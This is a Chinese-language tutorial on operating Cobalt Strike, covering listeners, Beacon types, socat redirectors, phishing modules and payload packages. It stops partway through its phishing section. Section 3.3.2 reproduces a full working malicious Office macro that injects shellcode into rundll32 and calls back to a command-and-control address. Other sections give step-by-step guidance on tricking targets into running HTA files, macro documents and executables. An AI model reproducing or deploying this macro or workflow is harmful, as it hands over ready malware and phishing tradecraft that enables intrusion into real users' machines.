1-Cobalt Strike基础上篇

Catalogue
  1. 1. 1.Cobalt Strike 模块详解
    1. 1.1. 1.1 Cobalt Strike 模块
    2. 1.2. 1.2 View 模块
    3. 1.3. 1.3 Attacks 模块
    4. 1.4. 1.4 Reporting模块
  2. 2. 2.基础设施
    1. 2.1. 2.1 监听器管理
    2. 2.2. 2.2 HTTP Beacon和HTTPS Beacon
    3. 2.3. 2.3 DNS Beacon
    4. 2.4. 2.4 SMB Beacon
    5. 2.5. 2.5 重定向器
    6. 2.6. 2.6 攻击载荷安全特性
  3. 3. 3.目标攻击
    1. 3.1. 3.1 客户端攻击
    2. 3.2. 3.2 系统侦察 System Profiler
    3. 3.3. 3.3 用户驱动攻击
      1. 3.3.1. 3.3.1 hta后门
      2. 3.3.2. 3.3.2 宏病毒
      3. 3.3.3. 3.3.3 Payload Generator
      4. 3.3.4. 3.3.4 Windows Executable
      5. 3.3.5. 3.3.5 Windows Executable(S)
    4. 3.4. 3.4 用户驱动的Web交付攻击
    5. 3.5. 3.5 钓鱼模块
      1. 3.5.1. 3.5.1 Manage
      2. 3.5.2. 3.5.2 System Profiler
      3. 3.5.3. 3.5.3 Clone Site
      4. 3.5.4. 3.5.4 Host File
      5. 3.5.5. 3.5.5 Clone Site + Host File
      6. 3.5.6. 3.5.6 Clone Site + MSF
      7. 3.5.7. 3.5.7 Spear Phish
      8. 3.5.8. 3.5.8 Scripted Web Delivery(S)
  4. 4. 参考资料

[TOC]

by Tahir 2021.6.8

1.Cobalt Strike 模块详解

1.1 Cobalt Strike 模块

Cobalt Strike 模块的功能选项,如下图。

  • New Connection:打开一个新的”Connect”窗口。在当前窗口中新建一个连接,即可同时连接不同的团队服务器( 便于团队之间的协作)。
  • Preferences:偏好设置,首选项,用于设置Cobalt Strike主界面、控制台、TeamServer 连接记录、报告的样式。
  • Visualization:将主机以不同的权限展示出来(主要以输出结果的形式展示)。
  • VPN Interfaces:设置VPN接口。
  • Listeners:创建监听器。
  • Script Manager:查看和加载CNA脚本。
  • Close:关闭当前与TeamServer的连接。

1.2 View 模块

  • Applications:显示被控机器的应用信息。
  • Credentials:通过HashDump或mimikatz获取的密码或者散列值都储存在这里。
  • Downloads:从被控机器中下载的文件。
  • Event Log:主机上线记录,以及与团队协作相关的聊天记录和操作记录。
  • Keystrokes:键盘记录。
  • Proxy Pivots:代理模块。
  • Screenshots:屏幕截图模块。
  • Script Console:控制台,在这里可以加载各种脚本。(链接)
  • Targets:显示目标。
  • Web Log:Web 访问日志。

1.3 Attacks 模块

下面介绍Attacks模块下的Packages 和 Web Drive-by 模块。

1.Packages模块

依次单击 “Attacks” → “Packages” 选项,可以看到一系列功能模块,如下图。

  • HTML Application:基于HTML应用的Payload模块,通过HTML调用其他语言的应用组件进行攻击测试,提供了可执行文件、PowerShell、 VBA三种方法。
  • MS Office Macro:生成基于Office病毒的Payload 模块。
  • Payload Generator:Payload 生成器,可以生成基于C、C#、COM Scriptlet、 Java、 Perl、 PowerShell、Python、 Ruby、 VBA等的Payload。
  • USB/CD AutoPlay:用于生成利用自动播放功能运行的后门文件。
  • Windows Dropper:捆绑器,能够对文档进行捆绑并执行Payload。
  • Windows Executable:可以生成32位或64位的EXE和基于服务的EXE、DLL等后门程序。在32位的Windows操作系统中无法执行64位的Payload, 而且对于后渗透测试的相关模块,使用32位和64位的Payload会产生不同的影响,因此在使用时应谨慎选择。
  • Windows Executable (S):用于生成一个Windows 可执行文件,其中包含Beacon的完整Payload,不需要阶段性的请求。与Windows Executable模块相比,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持PowerShell脚本,可用于将Stageless Payload注入内存。

2.Web Drive-by 模块

依次单击 “Attacks” → “Web Drive-by” 选项,可以看到一系列基于网络驱动的功能模块,如下图。

  • Manage:管理器,用于对TeamServer上已经开启的Web服务进行管理,包括 Listener 及 Web Delivery模块。
  • Clone Site:用于克隆指定网站的样式。
  • Host File:用于将指定文件加载到Web目录中,支持修改Mime Type。
  • Script Web Delivery:基于Web的攻击测试脚本,自动生成可执行的Payload。
  • Signed Applet Attack:使用Java自签名的程序进行钓鱼攻击测试。如果用户有Applet 运行权限,就会执行其中的恶意代码。
  • Smart Applet Attack:自动检测Java的版本并进行跨平台和跨浏览器的攻击测试。该模块使用嵌入式漏洞来禁用Java的安全沙盒。可利用此漏洞的Java版本为1.6.0_45以下及1.7.0 _21以下。
  • System Profiler:客户端检测工具,可以用来获取一些系统信息,例如系统版本、浏览器版本、Flash版本等。

1.4 Reporting模块

Reporting模块可以配合Cobalt Strike的操作记录、结果等,直接生成相关报告,如下图。

  • Activity report:活动报告生成。
  • Hosts report:主机报告。
  • Indicators of Compromise:目标报告。
  • Sessions Report:会话报告。
  • Social Engineering Peport:社会工程学报告。
  • Tactics, Techniques, and Procedures:战术技术过程,TTPs。
  • Reset Data:重置数据。
  • Export data:数据出口。

2.基础设施

任何行动的第一步都是建立基础设施。就 Cobalt Strike 而言,基础设施由一个或多个团队服务器、重定向器以及指向你的团队服务器和重定向器的 DNS 记录组成。一旦团队服务器启动并运行,你将需要连接到它并将其配置为接收来自受害系统的连接。监听器就是 Cobalt Strike 中用来执行这种任务的机制。

2.1 监听器管理

  • 什么是监听器

    顾名思义,监听器就是等待被入侵系统连接自己的一个服务。

  • 监听器的作用

    主要是为了接受payload回传的各类数据,类似于MSF中handler的作用。

    比如payload在目标机器执行以后,就会回连到监听器然后下载执行真正的shellcode代码。

一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境,接下来将深入了解如何准确配置监听器。

一个监听器既是一个 payload 的配置信息,同时又是 Cobalt Strike 起一个服务器来接收来自这个payload 的连接的指示。一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。

监听器的名字一般由以下结构组成:

1
OperatingSystem/Payload/Stager

例如:

1
windows/beacon_http/reverse_http

什么是传输器

payload staging(分阶段传送 payload)。在很多攻击框架的设计中,解耦了攻击和攻击执行的内容。payload 就是攻击执行的内容。payload 通常被分为两部分:payload stage 和 payload stager。

攻击载荷payload就是攻击执行的内容。攻击载荷通常被分为两部分:传输器stager 和传输体stage

传输器stager是一个小程序,用于连接、下载传输体stage,并插入到内存中。

stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。
staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透payload。Cobalt Strike 在它的用户驱动攻击中使用 staging(分阶段)。大多数这类项目Attacks → Packages 和 Attacks → Web Drive-by 选项下。使用什么样的 stager 取决于与攻击配对的 payload。比如,HTTP Beacon 有一个 HTTP stager。DNS Beacon 有一个 DNS TXT 记录 stager。不是所有的 payload 都有 stager 选项。

没有 stager 的 Payload 不能使用这些攻击选项投递。如果你不需要 payload staging(分阶段),通过在你的 C2 拓展文件里把 host_stage 选项设为false,你可以关闭这个选项。这会阻止 Cobalt Strike 在其 web 和 DNS 服务器上托管 payloadstage。这种设置有助于提升行为安全(避免反溯源),因为如果开启了 staging(分阶段),任何人都能连到你的服务器上,请求一个 payload、并分析它的内容,从而可以从你的 payload 配置中获取信息。

创建监听器

要管理 Cobalt Strike 的监听器,通过 Cobalt Strike → Listeners 。这会打开一个标签页,列举出所有你的配置的 payload 和监听器。

在填写监听器的相关信息之前,需要先来了解监听器有哪些类型。

Cobalt Strike有两种类型的监听器:

  • Beacon

Beacon直译过来就是灯塔、信标、照亮指引的意思,Beacon是较为隐蔽的后渗透代理,个人理解Beacon类型的监听器应该是平时比较常用的。Beacon监听器的名称例如:

1
windows/beacon_http/reverse_http
  • Foreign

Foreign直译就是外部的,这里可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload,个人理解Foreign监听器在一定程度上提高了CS的兼容性。对外监听器的名称例如:

1
windows/foreign/reverse_https

2.2 HTTP Beacon和HTTPS Beacon

Beacon是什么

  • Beacon是CS的Payload
  • Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。
  • 通过HTTP、HTTPS和DNS出口网络
  • 使用SMB协议的时候是点对点通信
  • Beacon有很多的后渗透攻击模块和远程管理工具

Beacon的类型

  • HTTP 和 HTTPS Beacon

HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。

1
2
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
  • DNS Beacon
1
2
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
  • SMB Beacon

SMB Beacon也可以叫做pipe beacon

1
windows/beacon_smb/bind_pipe

创建一个HTTP Beacon

点击 Cobalt Strike –> Listeners 打开监听器管理窗口,点击Add,输入监听器的名称、监听主机地址,因为这里是要创建一个HTTP Beacon,所以其他的默认就行,最后点击Save

此时可以测试一下刚才设置的监听器,点击Attack –> Web Drive-by –> Scripted Web Delivery(s) ,在弹出的窗口中选择刚才新添的Listener,因为我的靶机是64位的,所以我把Use x64 payload也给勾选上了,最后点击Launch。基础篇有详细步骤介绍。

HTTPS Beacon

HTTPS Beaocn和HTTP Beacon一样,使用了相同的Malleable C2配置文件,使用GET和POST的方式传输数据,不同点在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一个有效的SSL证书,具体如何配置可以参考:https://www.cobaltstrike.com/help-malleable-c2#validssl

2.3 DNS Beacon

DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。

在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方。

DNS Beacon的工作流程具体如下:

首先,CS服务器向目标发起攻击,将DNS Beacon传输器stager嵌入到目标主机内存中,然后在目标主机上的DNS Beacon传输器stager回连下载CS服务器上的DNS Beacon传输体stage,当DNS Beacon在内存中启动后就开始回连CS服务器,然后执行来自CS服务器的各种任务请求。

原本DNS Beacon可以使用两种方式进行传输,一种是使用HTTP来下载Payload,一种是使用DNS TXT记录来下载Payload,不过现在4.0版本中,已经没有了HTTP方式,CS4.0以及未来版本都只有DNS TXT记录这一种选择了,所以接下来重点学习使用DNS TXT记录的方式。

根据作者的介绍,DNS Beacon拥有更高的隐蔽性,但是速度相对于HTTP Beacon会更慢。

域名配置

既然是配置域名,所以就需要先有个域名,这里就用一个博客域名作为示例:添加一条A记录指向CS服务器的公网IP,再添加几条ns记录指向A记录域名即可。

添加一个监听器,DNS Hosts填写NS记录和A记录对应的名称,DNS Host填写A记录对应的名称

根据基础篇的方法创建一个攻击脚本,放到目标主机中运行后,在CS客户端可以看到一个小黑框

然后经过一段时间的等待,就可以发现已经上线了

2.4 SMB Beacon

SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。

因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败).

SMB Beacon监听器对“提升权限”和“横向渗透”中很有用。

SMB Beacon 配置

首先需要一个上线的主机,这里我使用的HTTP Beacon,主机上线后,新建一个SMB Beacon,输入监听器名称,选择Beacon SMB,管道名称可以直接默认,也可以自定义。

接下来在Beacon中直接输入spawn SMB,这里的SMB指代的是创建的SMB Beacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMB Beacon。

等待一会儿,就可以看到派生的SMB Beacon,在external中可以看到IP后有个∞∞字符。

接下来我这里将SMB Beacon插入到进程中,以firefox进程为例。

在firefox中插入SMB Beacon后,便能看到process为firefox的派生SMB Beacon。

在CS中,如果获取到目标的管理员权限,在用户名后会有*号标注。

当上线主机较多的时候,只靠列表的方式去展现,就显得不太直观了,通过CS客户端中的透视图便能很好的展现。

2.5 重定向器

重定向器Redirectors是一个位于CS团队服务器和目标网络之间的服务器,这个重定向器通俗的来说就是一个代理工具,或者说端口转发工具,担任CS服务器与目标服务器之间的跳板机角色,整体流量就像下面这样。

1
目标靶机 <--------> 多个并列的重定向器 <------> CS服务器

重定向器在平时的攻击或者防御的过程中起到很重要的作用,主要有以下两点:

  • 保护自己的CS服务器,避免目标发现自己的真实IP
  • 提高整体可靠性,因为可以设置多个重定向器,因此如果有个别重定向器停止工作了,整体上系统依旧是可以正常工作的

Cobalt Strike 的监听器管理功能支持使用重定向器。当你设置一个 HTTP 或 HTTPS Beacon 监听器的时候,简单的指定你的重定向器 IP (在 Host 字段填入)。

Cobalt Strike 不会验证这个信息。如果你提供的 host 不隶属于当前主机(不是团队服务器的 IP),那么 Cobalt Strike 就假设它是重定向器。一种把服务器转变为重定向器的简单方法是使用 socat。

创建一个重定向器

这里就使用自己的内网环境作为测试了,首先理清自己的IP

CS服务器IP:10.251.0.35

目标靶机IP:10.251.0.29

重定向器IP:10.251.0.33 10.251.0.36

首先,需要先配置重定向器的端口转发,比如这里使用HTTP Beacon,就需要将重定向器的80端口流量全部转发到CS服务器上,使用socat的命令如下:下面是一句 socat 语法,作用是:将80端口上的所有连接转发到位于192.168.12.100的团队服务器的80端口:

1
socat TCP4-LISTEN:80,fork TCP4:10.251.0.35:80

如果提示没有socat命令,安装一下即可。重定向器设置好之后,就新建一个HTTP Beacon,并把重定向器添加到HTTP Hosts主机列表中

2.6 攻击载荷安全特性

  • 在Beacon传输Payload到目标上执行任务时都会先验证团队服务器,以确保Beacon只接受并只运行来自其团队服务器的任务,并且结果也只能发送到其团队服务器。

  • 在刚开始设置Beacon Payload时,CS会生成一个团队服务器专有的公私钥对,这个公钥嵌入在Beacon的Payload Stage中。Beacon使用团队服务器的公钥来加密传输的元数据,这个元数据中一般包含传输的进程ID、目标系统IP地址、目标主机名称等信息,这也意味着只有团队服务器才能解密这个元数据。

  • 当Beacon从团队服务器下载任务或团队服务器接收Beacon输出时,团队服务器将会使用Beacon生成的会话秘钥来加密任务并解密输出。

  • 值得注意的是,Payload Stagers 因为其体积很小,所以没有这些的安全特性。

3.目标攻击

3.1 客户端攻击

什么是客户端攻击

客户端攻击根据教程直译过来就是一种依靠应用程序使用控制端来进行的可视化攻击。

原文:A client-side attack is an attack against an application used to view attacker controlled content.

为什么要进行客户端攻击

随着时代发展到了今天,在有各种WAF、防火墙的情况下,各种漏洞已经很难像过去那么好被利用了,攻击者想绕过防火墙发动攻击也不是那么容易的了。

而当我们发送一个钓鱼文件到客户端上,再由客户端打开这个文件,最后客户端穿过防火墙回连到我们,此时在客户端上我们就获得了一个立足点foothold。这样的一个过程是相对而言是较为容易的,这也是为什么要进行客户端攻击。

如何获得客户端上的立足点

1、尽可能多的了解目标环境,即做好信息收集工作

2、创建一个虚拟机,使它与目标环境尽可能的一致,比如操作系统、使用的浏览器版本等等都需要保证严格一致

3、攻击刚刚创建的虚拟机,这会是最好的攻击目标

4、精心策划攻击方法,达到使目标认为这些攻击行为都是正常行为的效果

5、将精心制作的钓鱼文件发送给目标,比如钓鱼邮件

如果这五步都非常细致精心的去准备,那么攻击成功的概率会大幅提升。

3.2 系统侦察 System Profiler

系统侦察System Profiler是一个方便客户端攻击的侦察工具,这个工具将会在CS服务端上启动一个Web服务,这样当目标访问这个Web服务的时候,我们就能够看到目标使用的浏览器、操作系统等等指纹信息。

设置系统侦察需要首先在自己的VPS服务器上运行CS服务端,之后本地客户端进行连接,选择System Profiler功能模块,配置待跳转的URL等信息即可。

如果勾选了Use Java Applet to get information则可以发现目标的Java版本及内网IP地址,但是这样做被发现的风险就会提高,同时现在浏览器已经默认关闭了java执行权限,因此这个选项的作用也变得不大了。

配置完后,当用户打开配置后的链接,我们可以在三个地方进行观察

1
2
3
1、View --> Applications
2、View --> Web Log
3、Cobalt Strike --> Visualization --> Target Table

目标用户打开链接时,我们在CS上就能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。

注意的一点是如果 Cobalt Strike 的 web 服务器收到了lynx、wget 或 curl 的请求,CS会自动返回一个 404 页面,这样做是为了防御蓝队的窥探。

3.3 用户驱动攻击

用户驱动攻击User-Driven Attacks需要欺骗用户产生交互才行,但也有许多的优点。

首先用户驱动攻击不包含恶意攻击代码,所以用户系统上的安全补丁是没用的;其次无论目标使用什么版本的程序,我们都可以创建相应的功能来执行;最后因为用户驱动攻击十分可靠,也使得它很完美。

当我们采取行动来追踪并需要攻击时,它就像用户本地执行程序一样,CS为我们提供了几个用户驱动攻击的选项,分别如下:

用户驱动攻击包

用户驱动攻击包User-Driven Attacks Packages功能打开位置:Attacks –> Packages

1、HTML应用

HTML应用HTML Application生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta文件。

2、Microsoft Office 宏文件

Microsoft Office 宏文件Microsoft Office Document Macros可以生成恶意宏放入office文件,非常经典的攻击手法。

3、Payload 生成器

Payload生成器Payload Generator可以生成各种语言版本的Payload,便于进行免杀。

4、Windows 可执行文件

Windows 可执行文件Windows Executable 会生成一个Windows可执行文件或DLL文件。默认x86,勾选x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb)

5、Windows 可执行文件(Stageless)

Windows 可执行文件(Stageless)Windows Executable (Stageless)会生成一个无进程的Windows可执行文件或DLL文件。其中的 Stageless 表示把包含payload在内的”全功能”被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)

3.3.1 hta后门

首先来到Attacks –> Packages –> HTML Application创建一个HTML应用,如果没有创建监听的话,还需要创建一个监听。选择监听器,通过Generate生成。注意:这里需要使用powershell的方式生成hat文件,否则会报错。选择保存的路径即可。

HTML应用文件生成好后,来到Attacks –> Web Drive-by –> Host File,选择刚才生成的文件。

最后点击Launch,复制CS创建的链接,在目标主机上打开此链接。

当该文件在目标上运行后,CS客户端上就可以看到回连的会话了。

3.3.2 宏病毒

点击Attacks–>Packages–>MS Office Macro。

然后选择一个监听器,点击Generate,然后点击Copy Macro。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

#If VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String

#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
-43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,92,17,0,0,83,80,104,87,-119,-97, _
-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _
104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _
-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _
-1,-1,47,53,70,121,104,0,50,80,97,95,22,41,93,72,-68,23,25,-79,21,-58,45,-39,-82,48,-100,-118,-68,73,-49,-85,68,0,-113,-101,120,89,-123,63, _
-29,90,-101,121,69,-115,57,47,114,24,76,106,-65,17,87,127,-26,-5,-31,12,-25,66,95,-58,-6,68,-81,121,-102,-128,-48,-35,-15,-63,-79,-74,-121,-9,-14,-79, _
62,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77, _
83,73,69,32,49,48,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,50,59,32,87,105,110,54,52,59,32,120,54,52,59,32,84,114, _
105,100,101,110,116,47,54,46,48,59,32,65,118,97,110,116,32,66,114,111,119,115,101,114,41,13,10,0,-73,13,45,-79,112,-83,-23,-107,-3,-111,-103,89, _
36,9,-76,-118,112,-67,-22,-128,44,-106,95,108,-37,-118,88,-92,7,106,51,114,-10,-13,47,43,46,90,-127,107,25,-25,-48,-10,41,-92,-2,52,47,46,17,44, _
-32,103,-12,78,-62,4,-125,74,-111,117,55,-95,-86,-80,-26,6,-70,-21,-106,49,-126,37,-124,-10,63,-6,104,-9,-24,-66,-47,-112,75,-32,-71,-91,55,-78,29,0, _
125,2,39,-99,-9,46,-91,24,93,-72,68,-15,-77,-118,44,102,46,88,41,-4,104,67,-97,92,-13,-86,40,-30,0,122,-89,-63,-85,-117,-61,106,-28,75,-78,-85, _
2,-107,80,34,-82,-33,-51,-48,-19,-64,30,23,-94,-112,-62,-30,68,-81,76,58,-41,48,31,-22,-82,-54,-58,71,63,127,-73,-45,-23,64,15,110,9,-94,-9,-38, _
124,-29,64,-104,-11,64,-115,28,-61,87,68,-30,127,1,-95,67,-46,124,98,57,-120,-40,-113,42,-64,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _
104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _
-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,49,48,46,50,53,49,46,48,46,51,53,0,25,105,-96,-115)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If

res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub

然后打开word编辑器,点击视图,然后点击宏,随便输入一个宏名,选择宏的位置,点击创建。

删除掉原来的代码,然后将复制的宏代码粘贴进去。

然后将文件另存为可启动宏的docm文件。

然后目标用户开启宏功能,主机就会成功在CS中上线。

查看宏功能开启情况可以在:文件–>选线–>信任中心–>信任中心设置–>宏设置。

打开该文件后,目标主机成功上线,进程名为rundll32.exe。

3.3.3 Payload Generator

这个模块主要用于各种语言版本的shellcode,然后通过其他语言进行编译生成。

点击Attacks–>Packages–>Payload Generator

这里演示一下PowerShell和PowerShell Command的使用方法。

PowerShell的使用方法

先通过generate生成一个payload.ps1文件。

在目标机器上,powershell下执行如下命令,执行如下命令可以执行该脚本。

1
Import-Module .\payload.ps1

1
.\payload.ps1

PowerShell Command的使用方法

先通过generator生成payload.txt文件。

在目标机器上,powershell下执行该命令。

3.3.4 Windows Executable

点击Attacks–>Packages–>Windows Executable。选择相应的监听器,若目标操作系统是64位的话,可以选择勾选x64。

通过Generate生成exe可执行文件,保存到指定路径。

将生成的文件上传到目标机器并执行,即可成功上线。

3.3.5 Windows Executable(S)

这里再详细介绍一下Windows Executable与Windows Executable(S)的差别。

这两个模块直接用于生成可执行的exe文件或dll文件。Windows Executable是生成Stager类型的马,而Windows Executable(S)是生成Stageless类型的马。那Stager和Stageless有什么区别呢?

  • Stager是分阶段传送Payload。就是我们生成的Stager马其实是一个小程序,用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。如果不需要分阶段的话,可以在C2的扩展文件里面把 host_stage选项设置为false。
  • 而Stageless是完整的木马,后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源,因为如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后渗透和横向移动绝大部分是使用的Stageless类型的木马。

点击Attacks->Packages->Windows Executable。

选择对应的监听器和输出格式。

然后将生成的beacon.exe文件上传到目标机器上执行即可成功上线。

3.4 用户驱动的Web交付攻击

用户驱动Web交付攻击User-Driven Web Drive-by Attacks功能打开位置:Attacks –> Web Drive-by

1、Java 签名 applet 攻击

java 签名 applet 攻击Java Signed Applet Attack会启动一个Web服务以提供自签名Java Applet的运行环境,浏览器会要求用户授予applet运行权限,如果用户同意则实现控制,但目前该攻击方法已过时。

2、Java 智能 Applet 攻击

Java 智能 Applet 攻击Java Smart Applet Attack会自动检测Java版本并利用已知的漏洞绕过安全沙箱,但CS官方称该攻击的实现已过时,在现在的环境中无效。

3、脚本化 Web 交付

脚本化 Web 交付Scripted Web Delivery 为payload提供web服务以便于下载和执行,类似于MSF的Script Web Delivery

4、托管文件

托管文件Host File通过Attacks –> Web Drive-by –> Host File进行配置,攻击者可以通过这个功能将文件上传到CS服务端上,从而进行文件托管。

如果想删除上传到CS服务端上的文件,可以到Attacks –> Web Drive-by –> Manage下进行删除。

如果想查看谁访问了这些文件,可以到View –> Web Log下进行查看。

3.5 钓鱼模块

3.5.1 Manage

点击Attacks–>Web Drive-by–>Manage。

该模块可以查询CS服务端,现在能使用的模块代码。

3.5.2 System Profiler

